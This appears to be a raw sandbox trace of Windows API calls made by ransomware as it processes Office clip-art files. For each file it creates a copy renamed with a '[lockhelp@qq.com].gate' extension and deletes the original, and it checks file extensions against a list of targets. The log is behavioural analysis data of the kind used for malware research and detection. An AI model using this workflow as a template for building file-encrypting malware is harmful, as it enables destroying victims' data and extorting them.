GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0307.757] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.757] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0307.998] GetLastError () returned 0x0 [0307.998] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x829a, lpOverlapped=0x0) returned 1 [0308.112] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x82a0, lpOverlapped=0x0) returned 1 [0308.113] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0308.114] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0308.114] SetEndOfFile (hFile=0x4c4) returned 1 [0308.114] CloseHandle (hObject=0x4c4) returned 1 [0308.114] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.114] SetEndOfFile (hFile=0x528) returned 1 [0308.117] CloseHandle (hObject=0x528) returned 1 [0308.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0308.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0308.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.118] lstrlenW (lpString=".doc") returned 4 [0308.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0308.118] lstrlenW (lpString=".docx") returned 5 [0308.118] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0308.118] lstrlenW (lpString=".pdf") returned 4 [0308.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0308.118] lstrlenW (lpString=".xls") returned 4 [0308.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0308.118] lstrlenW (lpString=".xlsx") returned 5 [0308.118] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0308.118] lstrlenW (lpString=".ppt") returned 4 [0308.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0308.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.118] lstrlenW (lpString=".zip") returned 4 [0308.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0308.119] lstrlenW (lpString=".rar") returned 4 [0308.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0308.119] lstrlenW (lpString=".bz2") returned 4 [0308.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0308.119] lstrlenW (lpString=".7z") returned 3 [0308.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0308.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.119] lstrlenW (lpString=".dbf") returned 4 [0308.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0308.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.119] lstrlenW (lpString=".1cd") returned 4 [0308.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0308.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0308.119] lstrlenW (lpString=".jpg") returned 4 [0308.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0308.120] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=21268) returned 1 [0308.120] CloseHandle (hObject=0x528) returned 1 [0308.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0308.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0308.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0308.120] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.120] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0308.121] GetLastError () returned 0x0 [0308.121] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5314, lpOverlapped=0x0) returned 1 [0308.450] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5320, lpOverlapped=0x0) returned 1 [0308.545] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0308.545] WriteFile (in: hFile=0x4c4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0308.545] SetEndOfFile (hFile=0x4c4) returned 1 [0308.545] CloseHandle (hObject=0x4c4) returned 1 [0308.545] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.545] SetEndOfFile (hFile=0x528) returned 1 [0308.946] CloseHandle (hObject=0x528) returned 1 [0308.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0308.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0308.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.954] lstrlenW (lpString=".doc") returned 4 [0308.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0308.954] lstrlenW (lpString=".docx") returned 5 [0308.954] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0308.954] lstrlenW (lpString=".pdf") returned 4 [0308.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0308.954] lstrlenW (lpString=".xls") returned 4 [0308.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0308.954] lstrlenW (lpString=".xlsx") returned 5 [0308.954] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0308.954] lstrlenW (lpString=".ppt") returned 4 [0308.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0308.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.954] lstrlenW (lpString=".zip") returned 4 [0308.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0308.954] lstrlenW (lpString=".rar") returned 4 [0308.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0308.954] lstrlenW (lpString=".bz2") returned 4 [0308.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0308.954] lstrlenW (lpString=".7z") returned 3 [0308.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0308.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.954] lstrlenW (lpString=".dbf") returned 4 [0308.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0308.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.955] lstrlenW (lpString=".1cd") returned 4 [0308.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0308.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0308.955] lstrlenW (lpString=".jpg") returned 4 [0308.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0308.956] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=46936) returned 1 [0308.956] CloseHandle (hObject=0x52c) returned 1 [0308.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0308.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0308.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0308.958] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.958] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0309.007] GetLastError () returned 0x0 [0309.007] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xb758, lpOverlapped=0x0) returned 1 [0310.629] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xb760, lpOverlapped=0x0) returned 1 [0310.630] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.631] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.631] SetEndOfFile (hFile=0x528) returned 1 [0312.432] CloseHandle (hObject=0x528) returned 1 [0312.433] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.433] SetEndOfFile (hFile=0x52c) returned 1 [0312.533] CloseHandle (hObject=0x52c) returned 1 [0312.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0312.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.534] lstrlenW (lpString=".doc") returned 4 [0312.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.534] lstrlenW (lpString=".docx") returned 5 [0312.534] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.534] lstrlenW (lpString=".pdf") returned 4 [0312.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.534] lstrlenW (lpString=".xls") returned 4 [0312.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.534] lstrlenW (lpString=".xlsx") returned 5 [0312.534] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.534] lstrlenW (lpString=".ppt") returned 4 [0312.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.534] lstrlenW (lpString=".zip") returned 4 [0312.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.535] lstrlenW (lpString=".rar") returned 4 [0312.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString=".bz2") returned 4 [0312.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString=".7z") returned 3 [0312.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.535] lstrlenW (lpString=".dbf") returned 4 [0312.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.535] lstrlenW (lpString=".1cd") returned 4 [0312.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0312.535] lstrlenW (lpString=".jpg") returned 4 [0312.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.535] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=42050) returned 1 [0312.535] CloseHandle (hObject=0x52c) returned 1 [0312.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0312.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0312.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.536] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0312.537] GetLastError () returned 0x0 [0312.537] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xa442, lpOverlapped=0x0) returned 1 [0312.557] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xa450, lpOverlapped=0x0) returned 1 [0312.559] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.559] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.559] SetEndOfFile (hFile=0x4f4) returned 1 [0312.559] CloseHandle (hObject=0x4f4) returned 1 [0312.559] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.559] SetEndOfFile (hFile=0x52c) returned 1 [0312.582] CloseHandle (hObject=0x52c) returned 1 [0312.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0312.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.583] lstrlenW (lpString=".doc") returned 4 [0312.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.583] lstrlenW (lpString=".docx") returned 5 [0312.583] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0312.583] lstrlenW (lpString=".pdf") returned 4 [0312.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.583] lstrlenW (lpString=".xls") returned 4 [0312.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.583] lstrlenW (lpString=".xlsx") returned 5 [0312.583] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0312.583] lstrlenW (lpString=".ppt") returned 4 [0312.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.583] lstrlenW (lpString=".zip") returned 4 [0312.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.583] lstrlenW (lpString=".rar") returned 4 [0312.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.584] lstrlenW (lpString=".bz2") returned 4 [0312.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.584] lstrlenW (lpString=".7z") returned 3 [0312.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.584] lstrlenW (lpString=".dbf") returned 4 [0312.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.584] lstrlenW (lpString=".1cd") returned 4 [0312.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0312.584] lstrlenW (lpString=".jpg") returned 4 [0312.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.594] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24759) returned 1 [0312.594] CloseHandle (hObject=0x4f8) returned 1 [0312.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0312.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0312.595] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.595] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0312.610] GetLastError () returned 0x0 [0312.610] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x60b7, lpOverlapped=0x0) returned 1 [0312.634] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x60c0, lpOverlapped=0x0) returned 1 [0312.635] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.635] WriteFile (in: hFile=0x514, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.635] SetEndOfFile (hFile=0x514) returned 1 [0312.636] CloseHandle (hObject=0x514) returned 1 [0312.636] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.636] SetEndOfFile (hFile=0x4f8) returned 1 [0312.639] 